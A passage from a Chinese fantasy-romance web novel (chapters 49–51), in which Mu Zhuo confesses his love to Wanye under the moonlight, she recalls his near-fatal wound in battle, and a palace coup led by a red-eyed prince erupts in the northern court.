指尖终于触碰到那冰凉光滑的锦缎面料,顺着衣襟的边缘,缓缓探入,摸索着衣襟下的盘扣。
解开第一颗盘扣的动作显得无比漫长。宛楪的指尖因为紧张而有些发凉。
终于,衣襟被解开些许。
宛楪的呼吸明显急促起来。她双手利落地将慕酌外袍的衣襟向两边分开、褪下。
玄色锦袍滑落至臂弯,露出他线条流畅的上身轮廓,仅着一件单薄的白色中衣。
慕酌低下头,身子前倾,似乎实在配合她。
宛楪的目光直直地落在他心脏的位置,眼眸中闪着复杂和痛苦。
她抬起手,掌心带着微颤,隔着那层薄薄的中衣,轻轻地、却又无比坚定地贴了上去。
掌心下,是沉稳而有力的心跳。
慕酌的身体在她掌心贴上的瞬间骤然绷紧。
宛楪没有抬头。
她微微踮起脚尖,视线朦胧地聚焦在他心口的位置。
月光流淌,她慢慢地、一点一点地靠近。
温热的呼吸,带着草木特有的清甜馨香,先一步拂过慕酌心口的衣料。
终于,那柔软温热的唇瓣,带着微微的颤抖,隔着薄薄的中衣,轻轻地、印在了他心脏跳动的位置。
时间仿佛在这一刻静止了。
月光无声倾泻。
微风拂过,花影摇曳,几片蔷薇花瓣打着旋儿,悄然飘落在两人的发间、肩头。
宛楪的唇瓣只是轻轻贴着。
慕酌能清晰地感受到那份柔软的压力,那份温热与湿润。
他垂眸,只能看到她乌黑的发顶,和那截纤细脆弱的脖颈。
直到宛楪仿佛耗尽了所有力气,身体微微发软。
才缓缓地、带着无尽的颤抖,离开了那片温热。
她退开一步,低垂着头。
长发滑落遮住了她通红的脸颊和那双迷蒙的浅绿色眼眸。
胸口剧烈地起伏着。
慕酌低低地、沉沉地笑了起来。
“看,”
他开口,声音有些沙哑,却异常温柔。
狐狸眼中盛满了笑意,“和当时一模一样。”
他向前一步,伸出手,修长的手指带着微凉的温度,轻柔地替她拂开滑落脸侧的发丝。
指尖若有似无地擦过她滚烫的耳垂和那枚微凉的碧金耳饰。
“我……”
宛楪抬起头,想要说什么。
“嘘——”
慕酌的食指轻轻抵在她柔软的唇上,没有给她说下去的机会。
“所以啊,宛楪。”
他唤她的名字,声音低沉而缱绻。
“那时你也没想杀我,不然……早就动手了,不是吗?”
宛楪怔怔地看着他,浅绿色的杏眼中水汽更盛。
慕酌缓缓走到庭院中央,站在那片最澄澈的月光下。银辉洒落。
他转过身,目光穿越静谧的庭院,再次深深地锁住那个碧色身影。
“宛楪。”
他开口,声音不大,却带着穿透灵魂的力量。
“从相遇的那一刻起,”
他的目光温柔而坚定,那双狐狸眼盛满了世间最纯粹的情意。
“我的心,便再也容不下他人。”
他朝她伸出手,掌心向上。
“无论你是人是妖,是仙是魔,”
他的声音如同誓言,“我都认定了你,只认定了你。”
宛楪浅绿色的杏眼瞬间睁大,晶莹的泪水盈满了那双独特的眼眸,如同翡翠浸在清泉中,顺着光洁的脸颊滑落。
“我知道,我们的路或许荆棘遍布,”
慕酌的目光穿越月色,带着无畏的勇气和磐石般的决心。
“但我愿倾尽所有,与你携手,披荆斩棘,共赴未来。”
他的话语,如同最温柔的风,最坚定的磐石,在这被月光和花香浸透的庭院里,久久回荡。
风拂过,更多的花瓣飘落。
慕酌的手依旧伸着,等待着。
宛楪望着他月光下俊朗而深情的面容,望着那双只倒映着她身影的狐狸眼。
终于,一步一步,坚定地走向他。
将自己的手,稳稳地放入了他等待的掌心。
她浅绿色的眼眸中,倒映着月光和他,再无一丝阴霾,只剩下全然的信任与爱意。
指尖相触的瞬间,温暖与力量,顺着掌心,传递至彼此的灵魂深处。
那并非简单的肌肤相亲,更像是某种沉寂已久的契约终于被唤醒。
共生的气息,截然不同。
却又无比契合的气息在他们相连的掌心下无声交融、共鸣。
慕酌的掌心宽厚而温暖,带着令人安心的力量,稳稳包裹住宛楪微凉却不再颤抖的小手。
夜风似乎也识趣地柔和下来,蔷薇花瓣不再乱舞,只是温柔地、一片一片地,落在他们的发梢、肩头。
宛楪仰着头,浅绿色的眼眸里盛满了月光和他。
泪水虽未干,眼底却已漾开清泉般的笑意,纯粹而明亮。
就如同她一开始应该有的样子。
慕酌的狐狸眼弯成了好看的弧度。
方才的深沉与灼热被一种近乎溺死的温柔取代。
他指腹轻轻摩挲着宛楪的手背,带着无尽的珍视。
“手都凉了。”
他低语,声音带着笑意后的慵懒沙哑,却比月光更醉人。
他没有松开手,反而微微用力,将她拉得更近了些,两人之间几乎没有距离,能感受到彼此温热的呼吸。
慕酌心脏处属于宛楪的真身,正随着他心脏跳动而上下浮动,宛楪感觉得到近距离慕酌的心脏的轨迹。
耳朵里听得见,真身处传来的脉搏也感受得到,月光下慕酌炽热的眼神,更是将这种心意无条件传递给她。
少年滚烫的心跳,承载着满腔纯真的醉人的爱。
宛楪脸颊上的红晕还未完全褪去,被他这样近距离地看着。
又有些发热,下意识地想低头。
却被慕酌另一只手掰了回去。
“别躲。”
他声音带着笑意,狐狸眼中闪烁着促狭的光芒。
仿佛又变回了那个喜欢逗弄她的慕酌。
“方才‘非礼’我的时候,胆子不是挺大的?”
“什么?!”宛楪瞪大了双眼,这分明是倒打一耙!
“慕酌!”
宛楪瞪了他一眼,那双浅绿色的杏眼瞪圆了,在月光下如同浸了水的翡翠,清澈见底。
在慕酌眼里却毫无威慑力,反而更多了一丝娇憨。
如不是当年的事情,今天的告白或许还能再早点……
她也不会……
慕酌眼中闪过疼痛,转化成满腔心疼,连心
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脏都跟着抽痛。
“你怎么了?”宛楪察觉到不对劲。
“没有。”慕酌一把把人捞到怀里,紧紧地抱着,已经失去一次。
绝不会再发生这样的事!
慕酌沉浸在自责和痛惜的回忆里,怀里的人声音闷闷地。
“我真没非礼你,我想做的早在妖族殿堂就……”
“就做完了……”
听到这话,慕酌眼中的自责和对自己的批评缓和许多,他看着眼前人嘟囔着,竭力证明她刚才没有“非礼”。
慕酌低低笑起来,胸腔微微震动,连带着握紧她的手也轻轻晃了晃。
“好好好,不提那个。”
他嘴上说着,眼底的笑意却更深,“不过,宛楪啊……”
他微微俯身,凑近她的耳边,温热的气息拂过她敏感的耳廓和那枚碧金耳饰。
声音压得又低又磁,带着蛊惑的意味:“我还有一个问题,好奇很久了。”
宛楪被他温热的气息弄得耳朵痒痒的,心尖也跟着一颤。
预感他问不出什么“正经”问题,警惕地看着他:“……什么?”
慕酌的指尖顺着她细腻的下颌线滑到她小巧的耳垂,轻轻捏了捏那枚微凉的碧金耳饰。
目光锁住她闪烁的浅绿色眼眸,嘴角勾起一抹玩味的弧度。
“你……到底是什么时候开始,对我‘不怀好意’的?”
“谁、谁对你不怀好意了!”
宛楪立刻反驳,声音却带着明显的底气不足,脸颊又烧了起来。
她试图抽回手,却被慕酌牢牢攥住。
“哦?没有吗?”
慕酌挑眉,狭长眼眸中的光狡黠得像只真正的狐狸。
“那刚才重演的时候,是谁贴得那么近?”
“心跳得那么快?”
“还有……”
他故意顿了顿,目光意有所指地扫过自己心口的位置。
“亲得那么认真?”
“那……”
“那是你要我重演的!”
宛楪又羞又急,浅绿色的眼眸里水光潋滟,几乎要滴出来。
“嗯,是我要的。”
慕酌从善如流地点头,眼神却愈发深邃,带着不容她逃避的认真。
“所以,告诉我,宛楪。在我不知道的时候,在你心里,我是什么时候……变得不一样的?”
他的声音低沉下来,带着一丝不易察觉的紧张和期待。
宛楪看着他近在咫尺的俊朗面容,那双总是带着笑意的眼眸,此刻盛满了专注的探寻。
月光落在他挺直的鼻梁和微抿的薄唇上。
心防,在他这样温柔又执着的目光下,一点点软化。
她长长的睫羽颤了颤,如同蝶翼轻扇,终于不再闪躲,迎上他的视线。
浅绿色的瞳孔里,仿佛倒映出遥远记忆里的某个瞬间,带着一丝怀念和难以言喻的悸动。
“……就……”
她的声音很轻,像一片花瓣落在水面,带着点羞涩的迟疑。
“嗯?”
慕酌耐心地等待,握着她的手不自觉地紧了紧。
宛楪深吸了一口气,仿佛鼓足了勇气,脸颊红得像熟透的石榴籽,声音却清晰起来:
“……就那次……你带着伤兵和百姓从北境突围回来那次。”
慕酌微微一怔,显然没料到是这个时间点。那是一场极为惨烈的遭遇战,他记忆深刻。
49. 月光下的告白(完)
“城里城外都乱成一团,……”
她的声音带着不易察觉的颤音,仿佛还能嗅到那日的血腥。
“……而你,像一柄孤绝的利刃,硬生生插入了北国精锐的洪流。”
轻柔的叙述,将慕酌也带回了那片炼狱般的战场。
残阳如血,泼洒在摇摇欲坠的城楼上,将断壁残垣染成一片刺目的凄厉金红。
空气黏稠得令人窒息,混杂着浓重的血腥、铁锈般的尘土味,以及绝望的嘶嚎。
哭喊声、濒死的呻吟、战马的悲鸣,如同钝器般反复敲打着耳膜。
宛楪正身处城楼一处残破的箭垛之后,与几个试图攀爬上来的北国士兵缠斗。
她身法灵动,精准地缠住敌人的咽喉或手腕,将他们狠狠掼下城墙。
就在她解决掉又一个敌人,喘息未定的间隙,目光下意识地投向了战场中央。
那片最为惨烈、也最为耀眼的核心。
只见慕酌一人一骑,深陷于北国最精锐的铁甲洪流之中!
慕酌想起来当时,他手中的长剑早已卷刃。
他身上的银色轻甲早已破碎不堪,被血污和尘土染成暗褐。
无数道伤口狰狞地遍布其上,鲜血不断渗出,染红了他身下的黄沙。
但他就像一座永不崩塌的礁石,死死钉在敌军主力与城门之间!
是以一己之躯,硬生生阻断了大部分精锐继续涌入城内的步伐。
那份悍勇,那份决绝,化作死神的镰刀,每一次挥动都带起一片血雨腥风。
而他当时没有信任宛楪,早就因为身上背负的责任痛不欲生。
不知道是不怕死,还是太想死。
在重重围困中,他如同浴血的狂狮,硬生生杀出了一条血路。
目标直指敌军后方那骑在高大战马上的将领!
他的眼中燃烧着冰冷的火焰,只有那个目标。
当时,城楼上的宛楪,心瞬间提到了嗓子眼。
她看到那北国将领眼中闪过一丝惊怒,随即化为更深的阴狠。
就在慕酌冲破最后几名亲卫,剑锋几乎要触及那将领咽喉的刹那——
一道冰冷的寒光,如同蛰伏已久的毒蛇,骤然从将领身侧暴起!
一杆灌注了全身力气的精钢投枪!
时机歹毒!到了极点,带着刺耳的死亡尖啸。
精准无比地,狠狠贯向了慕酌毫无防备、因全力冲锋而洞开的胸膛!
“噗嗤——!”
沉闷而恐怖的穿透声,仿佛穿透了战场的喧嚣,清晰地刺入了城楼上宛楪的耳膜!
时间仿佛在这一刻凝固。
宛楪想了想,顺着慕酌的话继续往下说。
她当时愣在那,没想到,也不知道做什么反应。
瞳孔清晰地映出那惊悚绝伦的一幕:
冰冷的枪尖带着淋漓的血肉,自慕酌的胸前猛然透出!
大蓬温热的鲜血,如同最艳丽、最残酷的沙漠之花。
在他胸前瞬间“盛开”!
喷溅而出!
在昏黄的落日余晖中划出一道凄厉的血虹!滚烫的血腥气仿佛隔着遥远的距离都能闻到!
慕酌的身体被巨大的冲击力带得向后一仰,脸色瞬间褪尽所有血色,变得如同金纸般透明。
剧痛让他闷哼一声,额角青筋暴起如虬龙,整个身体都因这致命一击而剧烈颤抖。
就在心脏被洞穿的刹那,那双燃烧的狐狸眼中,竟没有一丝一毫的惊慌与恐惧!
只有瞬间凝聚到极致的、近乎实质化的冰冷杀意和滔天怒火。
他借着后仰的力道,猛地将口中涌出的鲜血狠狠咽下。
染血的断剑以一个不可思议的角度,带着同归于尽的惨烈气势,不顾一切地再次劈向近在咫尺的敌将!
那将领脸上的狞笑和得意瞬间僵住,被这濒死反击的凶悍与疯狂骇得魂飞魄散。
他仓促格挡,却只觉一股沛然巨力夹杂着玉石俱焚的意志狠狠撞来!
“锵——!”金铁交鸣!
慕酌再次发出一声野兽般的低吼,借着挥剑的力道,身体如同离弦之箭般向前猛冲!
那透胸而出的长枪枪杆,竟被他这决死一冲。
硬生生又往前顶出了一大截!
鲜血如同决堤般从他前后两个伤口狂涌而出!
那敌将虽未被当场斩杀,但被这悍不畏死的冲击撞得气血翻腾,手臂剧痛。
座下战马都惊得嘶鸣人立!
他脸上终于露出了恐惧,看着胸前插着长枪,如同血狱修罗般依旧死死盯着自己的慕酌,肝胆俱裂!
“撤……快撤!扶我走!”
敌将惊恐地嘶吼,再不敢停留,在亲卫的簇拥下狼狈地调转马头,仓皇撤离。
北国精锐见主将败退,攻势瞬间瓦解,如潮水般退去。
直到敌军的背影消失在滚滚烟尘之中,慕酌那如同标枪般挺立的身躯,才仿佛耗尽了最后一丝支撑的力量。
慕酌身体晃了晃,带着那杆贯穿胸膛的恐怖长枪,缓缓地、无声地向后倒去。
重重地砸在染血的黄沙之上,溅起一片尘埃……
“那你呢?你当时在做什么?”
“我没看见全部……”
城楼上的宛楪,只看到那心脏被洞穿的血花,那悍然反击的决绝,那逼退强敌的疯狂……
巨大的冲击和撕心裂肺的痛楚瞬间淹没了她。
眼前的世界猛地一黑,天旋地转,强烈的眩晕和灵力透支的虚弱感如同潮水般将她吞噬。
她甚至来不及发出第二声呼喊,意识便如同断线的风筝,彻底陷入了黑暗。
那一刻,宛楪的心像是被一只冰冷的手狠狠攥住,窒息般的疼痛让她几乎无法呼吸……
“沙漠之花……”
慕酌低头笑了笑,“你倒是会形容。”
庭院里,月光依旧温柔地流淌。
宛楪沉浸在背痛的回忆里,嘴唇蠕动,没有说话。
片刻后小声说,仿佛还能感受到当时那撕心裂肺的痛楚。
“当时我醒了,却发现你生命垂危……”
“说起来,还是阿已把我叫醒的。”
慕酌想了想,“他啊,他很厉害,现在要叫丞相大人。”
他开玩笑地,“我等高攀不起了。”
这句话让宛楪从那段血色记忆中抽离,只是身体微微颤抖。
浅绿色的眼眸里盈满了水光,残留着惊悸与后怕,她笑着打趣,“是吗,谁让你当时救人那么墨迹。”
慕酌点了点头,“是,怪我,我不是个好东西。”
宛楪顿了顿,似乎在平复翻涌的情绪。
最终,在慕酌专注而温柔、带着无尽怜惜的目光注视下。
那个她觉得无比贴切的词,极其小声又极其清晰地吐了出来:
“……其实,我当时觉得,你很‘美强惨
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’。”
说完,她立刻把头深深埋进慕酌温暖的胸口。
留下一个墨黑色的发顶和两只红得滴血的耳朵,暴露在月光下。
那对碧金耳饰在她小巧的耳垂上轻轻晃动,闪烁着微光。
慕酌先是一愣,随即,低沉而复杂的笑声从他胸腔深处震荡开来。
“这都是在哪学的词啊?”
随即又轻笑了一下,那笑声里没有了之前的朗然戏谑,而是充满了感慨、心疼。
以及一丝劫后余生的庆幸。
他紧紧拥住怀里的人,下巴轻轻摩挲着她的发顶。
“‘美强惨’……”
他重复着这个词,声音带着沙哑的磁性。
“原来在宛楪眼里,我快死的样子……还挺好看?”
“不许胡说!”
宛楪猛地抬起头,浅绿色的杏眼里带着恼怒,带着未散的后怕,用力挥开他抱着自己的手,
“不好看!”
“好,不好看,吓着你了。”慕酌立刻认错。
眼中满是宠溺和心疼,他捉住她的手,包裹在自己温热的掌心。
宛楪抽出来,“不过你当时身体有我的真身,才死不了,我就是着急了忘了这事!”
“是,要不是你,我要就死了。”慕酌把手重新拉回来,轻轻放在自己心口。
“不过,”
他微微俯身,额头抵着她的额头,鼻尖几乎相触,呼吸交融。
“谢谢你,宛楪。”
“谢我什么?”宛楪被他突如其来的靠近和认真的语气弄得心跳加速。
谢她的真身保护他?
那确实应该好好谢谢她。
“谢谢你……在那么可怕的时候,还在看着我。”
慕酌的声音低沉而真挚,狐狸眼中倒映着她的身影。
“谢谢你……为我心疼。”
他顿了顿,声音更轻,带着一丝不易察觉的颤抖。
“也谢谢你……活了下来,让我还能这样抱着你。”
宛楪眼睫颤抖,没想到他能说出这样一番话,听着更是让人心疼。
眼泪瞬间涌了出来,她用力回抱住他,将脸埋在他颈窝,闷闷地说:
“你也要活下来……一直一直活下来……”
“嗯,”慕酌郑重地承诺,收紧了手臂,仿佛要将她融入骨血。
“我们一起活下来,活很久很久。”
怀里的人僵了一下,随即缓缓推开他。
“如果我先死了,你怎么办?”
这话听着一点不想开玩笑。
慕酌一下子掰过宛楪的身子,强迫她看着自己,“你这话……什么意思?”
“没有没有,开玩笑的。”
“你……”
宛楪回抱了回去,“真没事。”
见慕酌还不相信,宛楪凑近,两人距离更近。
慕酌看着眼前突然出现的,带着粉色红晕的脸,漂亮的眼睛闭着颤动。
以及嘴唇上温软的触感……
慕酌皱了一下眉,没有在追问,只是拦着宛楪的腰,持续靠近……
我挚爱的人,如果你离开,那么,我就算是撕裂虚空,也要在找到你……
哪怕万劫不复,哪怕魂飞魄散。
月光下,两人紧紧相拥,深埋心底的爱意交织流淌。
风过庭院,蔷薇花瓣温柔地飘落,仿佛也在为这对历经生死考验的爱侣低语祝福。
50. 内乱?!
慕酌胸膛的凉意尚未被夜风吹透,心口处那一点被柔软唇瓣短暂贴覆过。
奇异灼烫感却顽固地残留着,像一枚烧红的烙铁。
狠狠烫在他的尊严之上,搅得他五内俱焚!
那触感挥之不去,混杂着被强行冒犯的滔天怒意和一种无法言说的诡异感。
他指尖刚触到散乱衣襟的冰凉锦缎……
“狗东西!”
一声带着刻意拔高的、混杂着震惊、愠怒与浮夸不认同的斥责。
如同劣质铜锣被敲响,骤然打破了月下的死寂。
内院入口的阴影里,站着那位刚才想办法让慕酌进来的“大臣”。
他顶着那张此刻因“目睹秽行”而扭曲的脸。
眼中闪烁着一种被冒犯的“正义感”。
他手指夸张地抖着,指向慕酌敞露的胸膛和凌乱的衣衫。
又飞快地、带着一种流于表面的敬畏瞥了一眼不远处静立望月的“神女”。
声音尖利,带着刻意表演的痛心疾首:
“你……你竟敢!”
“竟敢在神女圣居之地,行此……”
“此等亵渎神祇、罔顾人伦之事?!”
他跺了跺脚,仿佛气急败坏,“衣冠不整,举止放浪!”
“慕酌!本官真是看错你了!”
“我是因为看到陛下信任你,才允你这商贾近身侍奉神女!”
“你此举……置神女威严于何地?”
“置陛下信任于何地?”
“简直……简直是色胆包天!”
“来人!快来人啊!将这狂徒拿下!”
”就地正法!”
他喊得声嘶力竭,眼神却隐晦地扫过四周寂静的角落。
确保这“愤怒”能被听到,好像真的因为今天晚上“撞破丑事”而“义愤填膺”。
慕酌的动作骤然僵住!
一股混杂着冤屈、憋闷和因那诡异“心吻”而起的、几乎要炸裂胸腔的邪火。
“轰”地一声直冲天灵盖!
他猛地抬眼,目光如淬了寒冰的利刃般射向李琰那张表演意味十足的脸。
牙关紧咬,后槽牙发出令人心颤的摩擦声。
这该死的!
他潜入北国王庭,步步为营。
不是为了在这鬼地方被一个疯女人扒了衣服、在心口烙下这该死的印记。
再被一个装腔作势的臣子指着鼻子骂“亵渎”、“色胆包天”的!
尤其那柔软的触感紧贴心脏位置的记忆。
那份被强行施加的、无法反抗,他自己也没推开!
亲密,如同毒液般腐蚀着他的理智!让他恨不得立刻揪住宛楪问个明白!
这比任何战场上的明枪暗箭都更让他……
怒火焚心!
“李主簿!”
慕酌的声音低沉得可怕,强行压抑的怒火让每一个字都像是从冰层下挤出来。
带着令人心悸的寒意,“你看清楚了!慕某……”
“看清楚?!”
这大臣胸膛起伏,表演更加卖力。
那份“维护神圣秩序”的使命感被他演绎得夸张而滑稽。
“事实摆在眼前!你还有何辩解?!”
“神女圣洁之地,岂容你如此……”
“如此下流龌龊!”
“亵渎之罪,按律当诛!来人!快来人!”
他继续高喊,声音在寂静的夜里显得格外刺耳。
身体却不着痕迹地微微后退,维持着“遇事慌乱”的形象。
嘴角挂着一抹讽刺,像是窃喜。
他就说,这个人没什么大能耐,原来是贪恋美色,不过如此!
想到这,他嘴角露出鄙夷。
“你——!”
慕酌眼前一黑,那股邪火几乎要冲破理智的堤坝!
百口莫辩!
那该死的“神女”,明明就是军营里自己的校尉。
虽然那张脸……
但是!
行完那等匪夷所思之事后,竟像个无事发生的人偶!
徒留他衣衫凌乱地面对这污名!
这份憋屈,这份被强行施加的暧昧与冒犯,尤其是心口还残留着如同标记般的触感。
像毒蛇一样噬咬着他的神经,让他几乎要不顾一切地爆发!
他强行压下几乎要喷薄而出的怒吼,指甲深深掐入掌心。
等着他回去的……
他……
任务!多年的算计……
不能被这该死的男扮女装的人和这蠢货毁了!
然而,李琰那浮夸的“就地正法”呼喊还在空气中尖啸——
“轰——!”
一声沉闷如巨石坠地的巨响,伴随着骤然爆发的、由远及近的喊杀声、金铁交鸣的锐响。
以及令人心悸的惨嚎声,如同地狱的闸门被猛然撞开!
远处宫殿的檐角,火光冲天而起,瞬间将夜幕染成一片橘红!
李琰脸上那夸张的愤怒和痛心瞬间凝固,继而化为一片毫无血色的惨白!
但这“惨白”之下,那双总是带着几分醉意或轻佻的眸子深处。
却骤然掠过一丝极其锐利、与平日人设截然不同的精光!
他猛地扭头望向声音来源,身体下意识地绷紧了一瞬。
但立刻就被极致的“惊恐”和“慌乱”取代。
他像被踩了尾巴的猫一样跳起来,声音带着哭腔。
完全是废物应有的反应。
“天……天啊!兵变?!”
“乱军杀进来了?!救命啊!护驾!快护驾!”
他抱头鼠窜,目标明确地就想往院外跑。
必须立刻离开!绝不能让人发现他深夜在此!
“站住!”
慕酌的反应快如闪电,战场本能让他瞬间洞悉凶险,更看穿了这个人急于脱身的意图。
他一步上前,带着不容置疑的力道和速度,精准地钳制住了李琰的手臂。
并非脉门,但足以钳制。
力道之大让李琰一个趔趄!
他眼神瞬间冰冷如铁,随即似乎想到什么,眼睛里突然写满“惊恐”。
低喝道:“你要干什么?”
“你要绑架朝廷命官!来人!来……”
慕酌一把捂住他的嘴,“外面是死路!想活命,别动!”
怒火仍在胸腔翻腾,但此时此刻他必须冷静。
要是让别人知道他私自过来见这位“神女”,不止北国皇室会怀疑,就连那位,暗中监视他的人也会觉得不对。
那“大臣”身体剧震,手臂上的力道让他吃痛,眼中“惊恐”更甚。
带着真切的慌乱和一丝被戳破般的惊怒,声音发颤地尖叫:
“放……放开我!慕酌!你……你要死别拖着我!”
“惊扰了神女,我们会被撕碎的!”
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他奋力挣扎,力道显得虚浮,目光更是忌惮万分地扫向宛楪的方向。
那份恐惧不似作伪。
“你现在可没有别的路!”
慕酌不容分说,强行带着挣扎不休的李琰,目标明确地冲向那片被宛楪气息笼罩的月华核心区域。
赌她的漠然!赌那未知的心吻“标记”!
更重要的,控制住这个麻烦!
“不!你疯了!”
“那是禁区!触怒神女,万死莫赎!”
李琰发出绝望般的哀嚎,身体被慕酌强横地拖向那片银辉。
眼中充满了真切的恐惧和巨大的怨毒,和刚才故意装出来的不一样,他现在觉得慕酌真的是个疯子!
就为了色欲,就这么冒险,他忘了上一个调戏她的人怎么样?!
当场打昏,甚至可能,已经死了……
他被半推半地拉进那片流淌着银辉的领域,距离静立的宛楪不过咫尺之遥。
他全身僵硬,冷汗瞬间浸透了内衫。
目光死死锁住那血色身影。
恐慌掐住了她他的心脏,暴露的危机感更让他如坠冰窟!
几乎就在他们踏入月华核心的瞬间,那尊凝固的“望月石”。
以一种令人头皮发麻的滞涩感,缓缓地、缓缓地转过了头。
血色瞳孔,幽深、死寂。
毫无情感地投注在闯入者身上。
李琰的哀嚎戛然而止,如同被扼住了咽喉。
他脸色惨白如金纸,身体控制不住地剧烈颤抖。
眼中只剩下纯粹的、面对未知恐怖时的极致惊骇。
他甚至忘记了伪装,下意识地想后退,却被慕酌牢牢钳制在原地。
这一刻,他精心构筑的面具几乎被这非人的注视彻底剥落。
慕酌的心也骤然悬紧,锐利的目光同样看着那双血瞳。
却没有多少害怕,更多的是探究以及,不解……
和微末在眼睛角落的警惕。
同时,心口那处被吻过的地方,竟再次传来一丝微弱的、令人极度烦躁的悸动!
这感觉,更添慕酌刚才被冒犯的怒火!
然而,预想中的毁灭并未降临。
那双血瞳漠然地掠过。
视线在慕酌敞露的、残留着奇异感觉的心口位置似乎极其短暂地停顿了一瞬?
随即,宛楪便毫无波澜地、极其缓慢地,将头又转了回去,重新凝望孤月。
她周身萦绕着令人心悸的薄透银纱,对脚下两个闯入者,对空气中弥漫的浓烈杀伐之气,置若罔闻。
李琰紧绷的身体猛地一软,若非慕酌仍扣着他,几乎瘫倒。
他大口喘着粗气,眼神涣散,充满了劫后余生的虚脱和恐惧。
但仅仅片刻,那涣散的眼神深处,一丝探究与毫不掩饰的鄙夷如同毒蛇般悄然抬头。
刚才那位,在看什么?!
慕酌吗?
不是!
好像是……
他惊魂未定地、极其隐晦地扫过慕酌敞露的心口。
那凌乱的衣衫和可能存在的暧昧痕迹。
再看向慕酌那张因强行压抑怒火而显得冷硬扭曲的脸,嘴角极其细微地向下撇了一下。。
眼神瞬间带着精细的锐度,但下一刻他抬头,恢复了那嚣张跋扈的样子。
“果然是个色胆包天、连神女都敢染指的下流胚子,如今还要拖我下水!”
51. 刺杀
他迅速垂下眼帘,重新换上惊惧过度的模样,身体却依旧控制不住地发抖。
“你说什么?!”
“没什么没什么……”
那丝鄙夷和抓住了对方“把柄”的冰冷探究,如同跗骨之蛆。
慕酌缓缓甩开钳制李琰的手,但目光冰冷地扫过他脸上残留的惊惧和那丝不易察觉的鄙夷。
慕酌的神经并未放松,眉峰锁得更深。
心口的悸动和残留的屈辱感如同刀刻。
让他对宛楪的怒火和对眼前局势的警惕交织攀升。
几乎要冲破强行维持的冷静!
远处,兵刃撞击声、濒死的惨嚎、纷乱的脚步声和冲天而起的火光。
无情地宣告着北国皇室风暴的降临。
他不再看地上的人,目光沉沉扫过远处动荡的黑暗与火光。
最后,落回眼前这沐浴在死亡般寂静月光中的血色身影上。
心口那点残留的异样触感和李琰眼中那丝鄙夷。
如同双重深刻的烙印,灼烧着他的理智,甚至超过了接下来要面对敌人的紧张……
胸腔不断抖动,气息还没有平复。慕酌沉了几口气,可惜,没成功。
一旁的李琰瘫软在地,身体筛糠般抖着,惊惧的模样仿佛刚从鬼门关爬回来。
但那低垂的眼帘下,一丝冰冷探究与毫不掩饰的鄙夷。
如同毒蛇吐信,无声地缠绕着慕酌。
慕酌狠狠甩开钳制他的手,仿佛甩掉什么污秽。
冰冷的视线扫过李琰那张写满“恐惧”的脸和那丝刺眼的鄙夷。
心头那点因“心吻”残留的悸动与深入骨髓的屈辱感,如同两把钝刀在反复切割。
对那毫无缘由、堪称亵渎的怒火,与对眼前血腥乱局的警惕,在胸腔里激烈地冲撞、攀升。
他急促地喘息着,试图平复,可每一次吸气,吸入的尽是远处飘来的硝烟与血腥气。
还有心口那挥之不去的、耻辱的灼烫感。
她,不对,是他。他到底什么意思?!
混乱的声浪如同决堤的洪水,彻底淹没了内院死寂的月光。
不再是模糊的喧嚣,而是清晰的、令人头皮发麻的厮杀!
“护驾!护驾啊——!”
“拦住他们!拦住那些疯子!”
“天杀的!是……是大殿下!是大殿下带人冲进来了!”
“大殿下他……他不对劲!眼睛是红的!像……像鬼一样!”
“他带的那些人也是!砍不死!砍倒了又爬起来!邪门!太邪门了!”
惊恐的尖叫、绝望的嘶吼、兵刃砍入骨肉的闷响、以及一种非人的、野兽般的低咆。
火光不再是远处的点缀,而是映红了半边天幕,将宫殿狰狞的飞檐斗拱投射出扭曲晃动的巨大阴影,如同择人而噬的怪物。
透过院门洞开的缝隙,慕酌锐利的目光捕捉到了混乱洪流中的一角:
一个身着残破皇子蟒袍的身影,力大无穷,手中染血的长剑毫无章法地挥舞着。
每一次劈砍都带着玉石俱焚的疯狂。
他的眼睛,在跳跃的火光下,反射出两点骇人的、毫无生气的猩红。
围绕在他身边的“士兵”同样如此,眼神空洞,动作迟缓却不知疼痛。
刀剑砍在身上有没有什么用,那些“东西”只要头颅尚在,便嘶吼着扑向阻挡的一切。
他们不像是在逼宫,更像是一群被无形丝线操控着、冲向毁灭烈焰的飞蛾。
逼宫?
不,这更像是一场被诅咒的献祭。
一场指向皇宫核心的、失去灵魂的狂暴冲击!
内廷深处,皇帝所在的“长生殿”方向,传来一声凄厉得不似人声的惨嚎:
“啊!”
“护……护朕!”
“丹药!朕的丹药!!”
那声音极致的恐惧和某种功亏一篑的绝望。
紧接着,是器物碎裂的刺耳声响,隐约夹杂着内侍惊恐的哭喊。
混乱如同瘟疫般蔓延。
很快,一队盔甲染血、惊魂未定的禁卫簇拥着几个同样狼狈不堪的官员冲到了相对安全的神女院外附近。
火光映照下,被护在中间、脸色惨白如纸、明黄龙袍上赫然洇开一片刺目暗红的,正是北国皇帝。
他一只手死死捂着肩胛处的伤口,鲜血从指缝间不断渗出,另一只手神经质地抓着一个被打翻的鎏金丹炉。
炉内被他视为珍贵的、散发着奇异香气的丹药残渣撒了一地。
他眼中再无平日的威严,只剩下对死亡的恐惧和对长生梦碎的狂怒。
就在这时,一个身影分开人群,踉跄着扑到皇帝脚下,声音带着哭腔,却又透着一股子“忠肝义胆”的急切:
“父皇!父皇您怎么样了?!”
“儿臣……儿臣来迟了!”
来人是北国的三皇子,李瑞。
发冠歪斜,衣袍上沾着不知是血还是泥的污迹。
脸上混杂着“悲痛”与“愤怒”。
扑跪在地时,眼角余光却飞快地扫过皇帝肩头的伤口和地上的丹药残渣。
一丝难以察觉的、近乎贪婪的光芒在他眼底一闪而逝。
“逆子!那个逆子!他疯了!他带着一群妖兵要弑父夺位!”皇帝的声音因剧痛和恐惧而嘶哑变形。
“父皇息怒!保重龙体要紧!”
三皇子抬起头,脸上是恰到好处的义愤填膺,声音陡然拔高,充满了煽动性的悲愤。
“这绝非大皇兄一人所为!他平日里虽……虽有些失德,但怎敢行此大逆不道之事?”
“定是有人背后操控!用邪术惑乱了他的心神!还有这些不畏刀兵的妖兵……”
“这绝非寻常手段!”
他猛地一指混乱的战场,又转向几个被禁卫保护着、脸色同样难看的大臣,语速飞快,逻辑却显得混乱跳跃,如同一个被愤怒冲昏头脑的莽夫在胡乱攀咬:
“兵部!对!兵部前日才清点过武库!若非有人刻意调换了守卫,这些妖兵如何能悄无声息地接近宫禁?”
“还有钦天监!前几日还说什么星象祥和!简直是欺君罔上!”
“还有……还有礼部的张侍郎!他上月还与大皇兄府上的长史在‘醉仙楼’密会!定是他们在背后谋划!想要颠覆我北国江山!”
“谋害父皇!其心可诛!其罪当灭九族啊父皇!”
